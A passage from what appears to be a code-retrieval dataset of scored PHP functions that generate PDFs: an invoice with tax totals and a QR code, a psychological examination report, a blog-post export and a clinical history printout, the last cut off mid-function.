$this->pdf->Output($nameFile, 'I');\n else\n return $this->pdf->Output($nameFile, 'S');\n }", "title": "" }, { "docid": "a745604b98e63e6f70196ff99cc34c2b", "score": "0.6904747", "text": "public function generar($data)\n {\n $pdf = new App_PDF_A4_Default_HF('P', 'mm', 'A4', true, 'UTF-8', false, false, $data);\n $pdf->setPrintFooter(false);\n $pdf->SetTopMargin(63.23889);\n $pdf->SetLeftMargin(5);\n $pdf->SetRightMargin(5);\n $pdf->AddPage();\n $pdf->SetAutoPageBreak(false);\n $pdf->SetFont('helvetica', '', 8);\n $pdf->SetCellPadding(0.5);\n\n # Items\n $yBegin = $pdf->GetY();\n $pdf->SetTextColor(0, 0, 0);\n\n foreach ($data['items'] as $key => $value) {\n $y = $pdf->GetY();\n $x = 5;\n $description = '';\n $h = 0;\n\n foreach ($value->DocInvoiceItemDescription as $k => $v) {\n if ($k != 0) {\n $description .= \"\\n\";\n }\n $description .= $v->c_description;\n $h += $pdf->getStringHeight(115, $v->c_description);\n }\n\n # Crear nueva página cuando te acercas a su límite\n if (($y + $h) > 250) {\n $h = 250 - $y;\n $pdf->MultiCell(18, $h, '', 'LRB', 'L', false, 1, '', '', true, 0, false, false, $h);\n $pdf->SetXY($x + 18, $y);\n $x = $pdf->GetX();\n $pdf->MultiCell(115, $h, '', 'RB', 'L', false, 1, '', '', true, 0, false, false, $h);\n $pdf->SetXY($x + 115, $y);\n $x = $pdf->GetX();\n $pdf->MultiCell(18, $h, '', 'RB', 'R', false, 1, '', '', true, 0, false, false, $h);\n $pdf->SetXY($x + 18, $y);\n $x = $pdf->GetX();\n $pdf->MultiCell(25, $h, '', 'RB', 'R', false, 1, '', '', true, 0, false, false, $h);\n $pdf->SetXY($x + 25, $y);\n $x = $pdf->GetX();\n $pdf->MultiCell(24, $h, '', 'RB', 'R', false, 1, '', '', true, 0, false, false, $h);\n $y = $yBegin;\n $x = 5;\n $pdf->AddPage();\n } else if (($y + $h) == 250) {\n $y = $yBegin;\n $pdf->AddPage();\n }\n $pdf->SetXY($x, $y);\n $pdf->MultiCell(18, $h, $value->c_item_sellers_item_identification_id, 'LR', 'L');\n $pdf->SetXY($x + 18, $y);\n $x = $pdf->GetX();\n $pdf->MultiCell(115, $h, $description, 'R', 'L');\n $pdf->SetXY($x + 115, $y);\n $x = $pdf->GetX();\n $pdf->MultiCell(18, $h, $value->c_invoiced_quantity, 'R', 'R');\n $pdf->SetXY($x + 18, $y);\n $x = $pdf->GetX();\n $pdf->MultiCell(25, $h, $value->c_price_price_amount, 'R', 'R');\n $pdf->SetXY($x + 25, $y);\n $x = $pdf->GetX();\n $pdf->MultiCell(24, $h, $value->c_line_extension_amount, 'R', 'R');\n }\n\n # Textos adicionales #\n $append = [];\n if (isset($data['emisor_detraccion']) && !empty($data['emisor_detraccion'])) {\n $append[] = $data['emisor_detraccion'];\n } else if (isset($data['leyenda'])) {\n $append[] = $data['leyenda'];\n }\n if (isset($data['leyenda'])) {\n $append[] = $data['observacion'];\n }\n if (isset($data['monto_en_letras']) && !empty($data['monto_en_letras'])) {\n $append[] = $data['monto_en_letras'];\n }\n if (isset($data['monto_en_letras']) && !empty($data['monto_en_letras'])) {\n $append[] = \"S.E.U.O.\";\n }\n $height = 0;\n foreach ($append as $value) {\n $height += $pdf->getStringHeight(115, $value);\n }\n $pdf->SetX(5);\n $y = $pdf->GetY();\n $diff = 250 - $height - $y;\n $x = 5;\n if ((250 - $y) < $height) {\n $h = 250 - $y;\n $pdf->MultiCell(18, $h, '', 'LRB', 'L', false, 1, '', '', true, 0, false, false, $h);\n $pdf->SetXY($x + 18, $y);\n $x = $pdf->GetX();\n $pdf->MultiCell(115, $h, '', 'RB', 'L', false, 1, '', '', true, 0, false, false, $h);\n $pdf->SetXY($x + 115, $y);\n $x = $pdf->GetX();\n $pdf->MultiCell(18, $h, '', 'RB', 'R', false, 1, '', '', true, 0, false, false, $h);\n $pdf->SetXY($x + 18, $y);\n $x = $pdf->GetX();\n $pdf->MultiCell(25, $h, '', 'RB', 'R', false, 1, '', '', true, 0, false, false, $h);\n $pdf->SetXY($x + 25, $y);\n $x = $pdf->GetX();\n $pdf->MultiCell(24, $h, '', 'RB', 'R', false, 1, '', '', true, 0, false, false, $h);\n $y = $yBegin;\n $x = 5;\n $pdf->AddPage();\n $diff = 250 - $height - $y;\n }\n $pdf->MultiCell(18, $diff, '', 'LR', 'L', false, 1, '', '', true, 0, false, false, $diff);\n $pdf->SetXY($x + 18, $y);\n $x = $pdf->GetX();\n $pdf->MultiCell(115, $diff, '', 'R', 'L', false, 1, '', '', true, 0, false, false, $diff);\n $pdf->SetXY($x + 115, $y);\n $x = $pdf->GetX();\n $pdf->MultiCell(18, $diff, '', 'R', 'R', false, 1, '', '', true, 0, false, false, $diff);\n $pdf->SetXY($x + 18, $y);\n $x = $pdf->GetX();\n $pdf->MultiCell(25, $diff, '', 'R', 'R', false, 1, '', '', true, 0, false, false, $diff);\n $pdf->SetXY($x + 25, $y);\n $x = $pdf->GetX();\n $pdf->MultiCell(24, $diff, '', 'R', 'R', false, 1, '', '', true, 0, false, false, $diff);\n\n foreach ($append as $key => $value) {\n $b = '';\n if ((count($append) - 1) == $key) {\n $b = 'B';\n }\n $y = $pdf->GetY();\n $x = $pdf->GetX();\n $h = $pdf->getStringHeight(115, $value);\n $pdf->MultiCell(18, $h, '', 'LR' . $b, 'L');\n $pdf->SetXY($x + 18, $y);\n $x = $pdf->GetX();\n $pdf->MultiCell(115, $h, $value, 'R' . $b, 'L');\n $pdf->SetXY($x + 115, $y);\n $x = $pdf->GetX();\n $pdf->MultiCell(18, $h, '', 'R' . $b, 'L');\n $pdf->SetXY($x + 18, $y);\n $x = $pdf->GetX();\n $pdf->MultiCell(25, $h, '', 'R' . $b, 'L');\n $pdf->SetXY($x + 25, $y);\n $x = $pdf->GetX();\n $pdf->MultiCell(24, $h, '', 'R' . $b, 'L');\n }\n\n # Pie de página\n $pdf->Ln(1.5);\n $pdf->SetTextColor(255, 255, 255);\n $y = $pdf->GetY();\n $x = $pdf->GetX();\n $pdf->SetXY($x, $y);\n $pdf->MultiCell(30, 4, 'OP. EXONERADA', 1, 'C', true);\n $pdf->SetXY($x + 30, $y);\n $x = $pdf->GetX();\n $pdf->MultiCell(30, 4, 'OP. INAFECTA', 1, 'C', true);\n $pdf->SetXY($x + 30, $y);\n $x = $pdf->GetX();\n $pdf->MultiCell(30, 4, 'OP. GRAVADA', 1, 'C', true);\n $pdf->SetXY($x + 30, $y);\n $x = $pdf->GetX();\n $pdf->MultiCell(30, 4, 'TOT. DSCTO.', 1, 'C', true);\n $pdf->SetXY($x + 30, $y);\n $x = $pdf->GetX();\n $pdf->MultiCell(20, 4, 'I.S.C.', 1, 'C', true);\n $pdf->SetXY($x + 20, $y);\n $x = $pdf->GetX();\n $pdf->MultiCell(20, 4, 'I.G.V.', 1, 'C', true);\n $pdf->SetXY($x + 20, $y);\n $x = $pdf->GetX();\n $pdf->MultiCell(40, 4, 'IMPORTE TOTAL', 1, 'C', true);\n\n $pdf->Ln(0);\n $pdf->SetTextColor(0, 0, 0);\n $y = $pdf->GetY();\n $x = $pdf->GetX();\n $pdf->SetXY($x, $y);\n $pdf->MultiCell(30, 4, $data['op_exoneradas'], 1, 'R');\n $pdf->SetXY($x + 30, $y);\n $x = $pdf->GetX();\n $pdf->MultiCell(30, 4, $data['op_inafectas'], 1, 'R');\n $pdf->SetXY($x + 30, $y);\n $x = $pdf->GetX();\n $pdf->MultiCell(30, 4, $data['op_gravadas'], 1, 'R');\n $pdf->SetXY($x + 30, $y);\n $x = $pdf->GetX();\n $pdf->MultiCell(30, 4, $data['total_descuentos'], 1, 'R');\n $pdf->SetXY($x + 30, $y);\n $x = $pdf->GetX();\n $pdf->MultiCell(20, 4, $data['isc'], 1, 'R');\n $pdf->SetXY($x + 20, $y);\n $x = $pdf->GetX();\n $pdf->MultiCell(20, 4, $data['igv'], 1, 'R');\n $pdf->SetXY($x + 20, $y);\n $x = $pdf->GetX();\n $pdf->MultiCell(40, 4, $data['total'], 1, 'R');\n\n $pdf->Ln(1.5);\n $y = $pdf->GetY();\n $x = $pdf->GetX();\n $pdf->SetXY($x, $y);\n $pdf->SetFont('helvetica', 'B', 8);\n $pdf->MultiCell(100, 0, 'Representación Impresa de la ' . $data['tipo_documento'], '', 'C');\n $pdf->SetFont('helvetica', '', 8);\n $pdf->MultiCell(100, 0, 'Autorizado mediante Resolución de Intendencia Nº ' . $data['emisor_resolucion'], '', 'C');\n $pdf->SetFont('helvetica', 'B', 8);\n $pdf->MultiCell(100, 0, 'Consulta tu comprobante en nuestra web ' . env('URL_CONSULTA_WEB'), '', 'C'); \n //$pdf->write2DBarcode($data['codigoBarra'], 'PDF417', $x + 140, $y, 70);\n $pdf->write2DBarcode($data['codigoBarra'], 'QRCODE,L', $x + 180, $y, 20); \n $pdf->Output($data['path'], 'F');\n chmod($data['path'], 0777);\n }", "title": "" }, { "docid": "71732e1b654d0fa6f26a015da283ae1e", "score": "0.6902305", "text": "public function cetak_individu($id_cetak)\n {\n $id_cetak = decrypt_url($id_cetak);\n $cekdataindividu = $this->model_admin->getlayanan_datapasien('Konseling Individu', $id_cetak);\n if ($cekdataindividu->num_rows() > 0) {\n $data_laporan = $cekdataindividu->result_array()[0];\n $intervensi = $this->model_admin->getlayanan_datapasien_rekamedis($data_laporan['id_pasien']);\n $assesment = $this->model_admin->getlayanan_datapasien_assesment_all($data_laporan['id_pasien']);\n\n $pdf = new Reportbulan();\n $pdf->AddPage('P', 'A4');\n $pdf->SetMargins(20, 47, 20);\n $pdf->SetAutoPageBreak(true, 40); //batas bawah halaman\n $pdf->setTitle(\"Laporan Rujukan Psikolog\");\n $pdf->SetAuthor('SIKESWA');\n\n $pdf->Ln(35);\n $pdf->SetFont('Times', 'B', 14);\n $pdf->Cell(0, 7, 'HASIL PEMERIKSAAN PSIKOLOGIS', 0, 1, 'C');\n\n $pdf->Ln(7);\n $pdf->SetFont('Times', '', 12);\n $pdf->Cell(60, 7, 'No Id', 0, 0, 'L');\n $pdf->Cell(6, 7, ':', 0, 0, 'L');\n $pdf->Cell(50, 7, konversiChar($data_laporan['id_pasien']), 0, 0, 'L');\n\n $pdf->Ln();\n $pdf->SetFont('Times', '', 12);\n $pdf->Cell(60, 7, 'No Rekam Medis', 0, 0, 'L');\n $pdf->Cell(6, 7, ':', 0, 0, 'L');\n $pdf->Cell(50, 7, konversiChar($data_laporan['no_rekam_medis']), 0, 0, 'L');\n\n $pdf->Ln(12);\n $pdf->SetFont('Times', 'B', 12);\n $pdf->Cell(0, 7, 'A. DATA DEMOGRAFI', 0, 1, 'L');\n\n $pdf->SetFont('Times', '', 12);\n $pdf->Cell(60, 7, 'Nama Lengkap', 0, 0, 'L');\n $pdf->Cell(6, 7, ':', 0, 0, 'L');\n $pdf->Cell(50, 7, konversiChar($data_laporan['nm_lengkap']), 0, 0, 'L');\n $pdf->Ln();\n $pdf->Cell(60, 7, 'Alamat', 0, 0, 'L');\n $pdf->Cell(6, 7, ':', 0, 0, 'L');\n $pdf->Cell(50, 7, konversiChar($data_laporan['alamat']), 0, 0, 'L');\n $pdf->Ln();\n $pdf->Cell(60, 7, 'Desa', 0, 0, 'L');\n $pdf->Cell(6, 7, ':', 0, 0, 'L');\n $pdf->Cell(50, 7, konversiChar($data_laporan['desa']), 0, 0, 'L');\n $pdf->Ln();\n $pdf->Cell(60, 7, 'Kecamatan', 0, 0, 'L');\n $pdf->Cell(6, 7, ':', 0, 0, 'L');\n $pdf->Cell(50, 7, konversiChar($data_laporan['kecamatan']), 0, 0, 'L');\n $pdf->Ln();\n $pdf->Cell(60, 7, 'Tempat Lahir', 0, 0, 'L');\n $pdf->Cell(6, 7, ':', 0, 0, 'L');\n $pdf->Cell(50, 7, konversiChar($data_laporan['tempat_lahir']), 0, 0, 'L');\n $pdf->Ln();\n $pdf->Cell(60, 7, 'Tanggal Lahir', 0, 0, 'L');\n $pdf->Cell(6, 7, ':', 0, 0, 'L');\n $pdf->Cell(50, 7, konversiChar(konversiTanggalid($data_laporan['tgl_lahir'])), 0, 0, 'L');\n $pdf->Ln();\n $pdf->Cell(60, 7, 'Usia', 0, 0, 'L');\n $pdf->Cell(6, 7, ':', 0, 0, 'L');\n $pdf->Cell(50, 7, konversiChar($data_laporan['usia']), 0, 0, 'L');\n $pdf->Ln();\n $pdf->Cell(60, 7, 'Agama', 0, 0, 'L');\n $pdf->Cell(6, 7, ':', 0, 0, 'L');\n $pdf->Cell(50, 7, konversiChar($data_laporan['agama']), 0, 0, 'L');\n $pdf->Ln();\n $pdf->Cell(60, 7, 'Status Menikah', 0, 0, 'L');\n $pdf->Cell(6, 7, ':', 0, 0, 'L');\n $pdf->Cell(50, 7, konversiChar($data_laporan['status']), 0, 0, 'L');\n $pdf->Ln();\n $pdf->Cell(60, 7, 'Pendidikan', 0, 0, 'L');\n $pdf->Cell(6, 7, ':', 0, 0, 'L');\n $pdf->Cell(50, 7, konversiChar($data_laporan['pendidikan']), 0, 0, 'L');\n $pdf->Ln();\n $pdf->Cell(60, 7, 'Pekerjaan ', 0, 0, 'L');\n $pdf->Cell(6, 7, ':', 0, 0, 'L');\n $pdf->Cell(50, 7, konversiChar($data_laporan['pekerjaan']), 0, 0, 'L');\n\n $pdf->Ln(12);\n $pdf->SetFont('Times', 'B', 12);\n $pdf->Cell(60, 7, 'B. KELUHAN', 0, 0, 'L');\n $pdf->SetFont('Times', '', 12);\n $pdf->Cell(6, 7, ':', 0, 0, 'L');\n $pdf->Ln();\n $pdf->SetFont('Times', '', 12);\n $no = 1;\n if ($assesment->num_rows() > 0) {\n if ($assesment->num_rows() == 1) {\n $pdf->MultiCell(0, 7, $assesment->result_array()[0]['keluhan'], 0, 'J', 0, 0);\n } else {\n foreach ($assesment->result_array() as $value) {\n $pdf->MultiCell(0, 7, ($no++) . \". \" . $value['keluhan'], 0, 'J', 0, 0);\n }\n }\n } else {\n $pdf->MultiCell(0, 7, '-', 0, 'J', 0, 15);\n }\n // $pdf->MultiCell(0, 7, ($data_laporan['keluhan'] <> '') ? konversiChar($data_laporan['keluhan']) : '-', 0, 'J', 0, 15);\n\n $pdf->Ln(6);\n $pdf->SetFont('Times', 'B', 12);\n $pdf->Cell(60, 7, 'C. RIWAYAT PENYAKIT', 0, 0, 'L');\n $pdf->SetFont('Times', '', 12);\n $pdf->Cell(6, 7, ':', 0, 0, 'L');\n $pdf->Ln();\n $pdf->SetFont('Times', '', 12);\n $no = 1;\n if ($assesment->num_rows() > 0) {\n if ($assesment->num_rows() == 1) {\n $pdf->MultiCell(0, 7, $assesment->result_array()[0]['riwayat_penyakit'], 0, 'J', 0, 0);\n } else {\n foreach ($assesment->result_array() as $value) {\n $pdf->MultiCell(0, 7, ($no++) . \". \" . $value['riwayat_penyakit'], 0, 'J', 0, 0);\n }\n }\n } else {\n $pdf->MultiCell(0, 7, '-', 0, 'J', 0, 15);\n }\n // $pdf->MultiCell(0, 7, ($data_laporan['riwayat_penyakit'] <> '') ? konversiChar($data_laporan['riwayat_penyakit']) : '-', 0, 'J', 0, 15);\n\n $pdf->Ln(6);\n $pdf->SetFont('Times', 'B', 12);\n $pdf->Cell(60, 7, 'D. RIWAYAT PENGOBATAN', 0, 0, 'L');\n $pdf->SetFont('Times', '', 12);\n $pdf->Cell(6, 7, ':', 0, 0, 'L');\n $pdf->Ln();\n $pdf->SetFont('Times', '', 12);\n $no = 1;\n if ($assesment->num_rows() > 0) {\n if ($assesment->num_rows() == 1) {\n $pdf->MultiCell(0, 7, $assesment->result_array()[0]['pengobatan'], 0, 'J', 0, 0);\n } else {\n foreach ($assesment->result_array() as $value) {\n $pdf->MultiCell(0, 7, ($no++) . \". \" . $value['pengobatan'], 0, 'J', 0, 0);\n }\n }\n } else {\n $pdf->MultiCell(0, 7, '-', 0, 'J', 0, 15);\n }\n $pdf->Ln(6);\n $pdf->SetFont('Times', 'B', 12);\n $pdf->Cell(60, 7, 'E. HASIL ASESSMENT', 0, 0, 'L');\n $pdf->SetFont('Times', '', 12);\n $pdf->Cell(6, 7, ':', 0, 0, 'L');\n $pdf->Ln();\n $pdf->SetFont('Times', '', 12);\n $no = 1;\n if ($assesment->num_rows() > 0) {\n if ($assesment->num_rows() == 1) {\n $pdf->MultiCell(0, 7, $assesment->result_array()[0]['wawancara_psikologis'], 0, 'J', 0, 0);\n } else {\n foreach ($assesment->result_array() as $value) {\n $pdf->MultiCell(0, 7, ($no++) . \". \" . $value['wawancara_psikologis'], 0, 'J', 0, 0);\n }\n }\n } else {\n $pdf->MultiCell(0, 7, '-', 0, 'J', 0, 15);\n }\n\n $pdf->Ln(6);\n $pdf->SetFont('Times', 'B', 12);\n $pdf->Cell(60, 7, 'F. DIAGNOSIS UTAMA', 0, 0, 'L');\n $pdf->SetFont('Times', '', 12);\n $pdf->Cell(6, 7, ':', 0, 0, 'L');\n $pdf->Ln();\n $pdf->SetFont('Times', '', 12);\n $no = 1;\n if ($assesment->num_rows() > 0) {\n if ($assesment->num_rows() == 1) {\n $pdf->MultiCell(0, 7, $assesment->result_array()[0]['diagnosa'], 0, 'J', 0, 0);\n } else {\n foreach ($assesment->result_array() as $value) {\n $pdf->MultiCell(0, 7, ($no++) . \". \" . str_replace('–', '-', $value['diagnosa']), 0, 'J', 0, 0);\n }\n }\n } else {\n $pdf->MultiCell(0, 7, '-', 0, 'J', 0, 15);\n }\n\n $pdf->Ln(6);\n $pdf->SetFont('Times', 'B', 12);\n $pdf->Cell(60, 7, 'G. DIAGNOSIS BANDING', 0, 0, 'L');\n $pdf->SetFont('Times', '', 12);\n $pdf->Cell(6, 7, ':', 0, 0, 'L');\n $pdf->Ln();\n $pdf->SetFont('Times', '', 12);\n $no = 1;\n if ($assesment->num_rows() > 0) {\n if ($assesment->num_rows() == 1) {\n $pdf->MultiCell(0, 7, $assesment->result_array()[0]['diagnosa_penyerta'], 0, 'J', 0, 0);\n } else {\n foreach ($assesment->result_array() as $value) {\n $pdf->MultiCell(0, 7, ($no++) . \". \" . $value['diagnosa_penyerta'], 0, 'J', 0, 0);\n }\n }\n } else {\n $pdf->MultiCell(0, 7, '-', 0, 'J', 0, 15);\n }\n\n $pdf->Ln(6);\n $pdf->SetFont('Times', 'B', 12);\n $pdf->Cell(60, 7, 'H. INTERVENSI', 0, 0, 'L');\n $pdf->SetFont('Times', '', 12);\n $pdf->Cell(6, 7, ':', 0, 0, 'L');\n $pdf->Ln();\n $pdf->SetFont('Times', '', 12);\n $no = 1;\n if ($intervensi->num_rows() > 0) {\n if ($intervensi->num_rows() == 1) {\n $pdf->MultiCell(0, 7, $intervensi->result_array()[0]['jns_terapi'], 0, 'J', 0, 0);\n } else {\n foreach ($intervensi->result_array() as $value) {\n $pdf->MultiCell(0, 7, ($no++) . \". \" . $value['jns_terapi'], 0, 'J', 0, 0);\n }\n }\n } else {\n $pdf->MultiCell(0, 7, '-', 0, 'J', 0, 15);\n }\n\n $pdf->Ln(6);\n\n /* Tanda tangan */\n $pdf->Ln(20);\n $pdf->SetFont('Times', '', 12);\n $pdf->Cell(87, 7, '', 0, 0, 'C');\n $pdf->Cell(87, 7, 'Tertanda,', 0, 0, 'C');\n\n $pdf->Ln();\n $pdf->SetFont('Times', '', 12);\n $pdf->Cell(87, 7, '', 0, 0, 'C');\n $pdf->Cell(87, 7, 'Psikolog Klinis', 0, 0, 'C');\n\n $pdf->Ln(35);\n $pdf->SetFont('Times', 'B', 12);\n $pdf->Cell(87, 7, '', 0, 0, 'C');\n $pdf->Cell(87, 7, '-----------------------', 0, 0, 'C');\n /* Akhir tanda tangan */\n\n $pdf->Output(\"Laporan-Rujukan-Psikolog.pdf\", \"I\");\n } else {\n redirect('admin/pasienindividu');\n }\n }", "title": "" }, { "docid": "91972d23e681139ec604a2bf31fa5431", "score": "0.6897692", "text": "private function getPDFData()\n\t{\n\t\t$result = $this->getPostingData();\n\n\t\t$title = $this->getText($result['title'], false);\n\t\t\n\t\t$date_format = $this->convertDateFormat($this->reg->findSetting('preferred_date_format'));\n\n\t\t$text = $this->getText($result['message_html'], true);\t\n\t\n\t\t$date = date($date_format, strtotime($result['posted']));\n\t\n\t\t$author = $this->reg->getNickname($result['author_id']);\n\n\t\t$image = (!empty($this->params['image'])) ? PATH_TO_ROOT . \"/images/\" . $this->params['image'] : \"\";\n\n\t\t$strapline = my_html_entity_decode($this->params['strapline']);\n\n\t\t$thisPostURL = PO_Posting_Extended::getPermalink($_GET['id']);\n\n\t\t$URLLink = \"<a href=\\\"$thisPostURL\\\">$thisPostURL</a>\";\n\n\t\t$endText = str_replace(\"||URL||\", $URLLink, my_html_entity_decode($this->params['endText']));\n\n\t\t$headerTextColour = $this->params['headerTextColour'];\n\n\t\t$headerLeftMargin = $this->params['headerLeftMargin'];\n\n\t\t$startPostingText = $this->params['startPostingText'];\n\t\n\t\t$authDate = \"Posted by \" . $author . \" on \" . $date;\n\n/*$fp = fopen(LOG_DIR . 'special.log', 'wb');\nfwrite ($fp, $text);\nfclose ($fp);\necho \"Written to log dir\";\nexit;*/\n\n\n\t\t$data = array(\t'title' \t\t\t=> $title,\n\t\t\t\t\t\t'text' \t\t\t\t=> $text,\n\t\t\t\t\t\t'date' \t\t\t\t=> $date,\n\t\t\t\t\t\t'author' \t\t\t=> $author,\n\t\t\t\t\t\t\"image\" \t\t\t=> $image,\n\t\t\t\t\t\t\"strapline\" \t\t=> $strapline,\n\t\t\t\t\t\t'endText' \t\t\t=> $endText,\n\t\t\t\t\t\t'headerTextColour' \t=> $headerTextColour,\n\t\t\t\t\t\t'headerLeftMargin' \t=> $headerLeftMargin,\n\t\t\t\t\t\t'startPostingText' \t=> $startPostingText,\n\t\t\t\t\t\t'authDate' \t\t\t=> $authDate\n\t\t\t\t\t\t);\n\t\treturn $data;\n\t}", "title": "" }, { "docid": "9a7b4a7e042961bd5f06eeb7a32cdf51", "score": "0.6894183", "text": "public function getStrRptHistoriaClinicaPacienteServicio()\r\n {\r\n define('FPDF_FONTPATH',FONT_PATH);\r\n include_once ( CLASS_PATH . \"class.clfpdf.php\" );\r\n\r\n //Limpia el buffer si no sale un error\r\n ob_end_clean();\r\n\r\n $fechaimpresion = date(\"Y/m/d H:i:s a\");\r\n\r\n\r\n //create a FPDF object\r\n $pdf = new FPDF('P' , 'mm' , 'A4');\r\n\r\n //set document properties\r\n $pdf->SetAuthor('CPCH - KOICA');\r\n $pdf->SetTitle('Recibo Servicio');\r\n\r\n //encabezado\r\n $pdf->setStrTipoEncabezado(9);\r\n $pdf->Header();\r\n //\r\n //Envia a otra pagina\r\n $pdf->setAutoPagebreak(true,'');\r\n\r\n //set font for the entire document\r\n $pdf->SetFont('Arial','B',35);\r\n $pdf->SetTextColor(50,60,100);\r\n\r\n //set up a page\r\n $pdf->AddPage('P');\r\n $pdf->SetDisplayMode(75,'default');\r\n\r\n //insert an image and make it a link\r\n //$pdf->Image('logo.png',10,20,33,0,' ','http://www.fpdf.org/');\r\n\r\n $query = new clQuery();\r\n\r\n //Nombre Procedimientos Almacenados\r\n $ProcedimientoAlmacenado = sprintf(\"CALL sprpthistoriaclinicapacienteservicio('%d','%d');\", $this->getStrTipoMedico(), $this->getStrNumeroHistoriaClinicaPaciente());\r\n $query->setStrProcedimientoAlmacenado($ProcedimientoAlmacenado);\r\n $resultado = $query->getStrSqlSelect();\r\n\r\n if( count($resultado) > 0 ) {\r\n foreach( $resultado as $rst):\r\n $pdf->Ln(2);\r\n\r\n $NHC = \"\";\r\n switch (strlen($rst[\"nhc\"])){\r\n case 1:\r\n $NHC = \"0000\".$rst[\"nhc\"];\r\n break;\r\n case 2:\r\n $NHC = \"000\".$rst[\"nhc\"];\r\n break;\r\n case 3:\r\n $NHC = \"00\".$rst[\"nhc\"];\r\n break;\r\n case 4:\r\n $NHC = \"0\".$rst[\"nhc\"];\r\n break;\r\n default:\r\n $NHC = $rst[\"nhc\"];\r\n break;\r\n }\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(20,5,utf8_decode('MEDICO: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(100,5,utf8_decode(utf8_encode($rst[\"medico\"])),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(30,5,utf8_decode('FECHA VISITA: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(40,5,utf8_decode(utf8_encode($rst[\"fechahistoriaclinica\"])),1,1,'C',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(20,5,utf8_decode('SERVICIO: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(60,5,utf8_decode(utf8_encode($rst[\"departamento\"])),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(20,5,utf8_decode('UNIDAD: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(50,5,utf8_decode(utf8_encode($rst[\"unidad\"])),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(20,5,utf8_decode('EDADES: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(20,5,utf8_decode(utf8_encode($rst[\"subarea\"])),1,1,'L',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(20,5,utf8_decode('NHC: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(20,5,utf8_decode(utf8_encode($NHC)),1,0,'C',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(20,5,utf8_decode('CEDULA: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(20,5,utf8_decode(utf8_encode($rst[\"cedula\"])),1,0,'C',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(20,5,utf8_decode('PACIENTE: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(90,5,utf8_decode(utf8_encode($rst[\"paciente\"])),1,1,'L',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(20,5,utf8_decode('SEXO: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(60,5,utf8_decode(utf8_encode($rst[\"sexo\"])),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(30,5,utf8_decode('ESTADO CIVIL: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(30,5,utf8_decode(utf8_encode($rst[\"estadocivil\"])),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(30,5,utf8_decode('TIPO SANGRE: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(20,5,utf8_decode(utf8_encode($rst[\"tiposangre\"])),1,1,'L',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(20,5,utf8_decode('PROVINCIA: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(40,5,utf8_decode(utf8_encode($rst[\"provincia\"])),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(20,5,utf8_decode('CANTON: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(40,5,utf8_decode(utf8_encode($rst[\"canton\"])),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(30,5,utf8_decode('PARROQUIA: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(40,5,utf8_decode(utf8_encode($rst[\"parroquia\"])),1,1,'L',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(20,5,utf8_decode('DIRECCION: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(60,5,utf8_decode(utf8_encode($rst[\"direccion\"])),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(30,5,utf8_decode('TELEFONO: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(25,5,utf8_decode(utf8_encode($rst[\"telefono\"])),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(30,5,utf8_decode('CELULAR: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(25,5,utf8_decode(utf8_encode($rst[\"celular\"])),1,1,'L',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(40,5,utf8_decode('FECHA NACIMIENTO: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(65,5,utf8_decode(utf8_encode($rst[\"fechanacimiento\"])),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(30,5,utf8_decode('EM@IL: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(55,5,utf8_decode(utf8_encode($rst[\"email\"])),1,1,'L',0);\r\n\r\n $pdf->Ln(4);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(15,5,utf8_decode('TALLA: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n 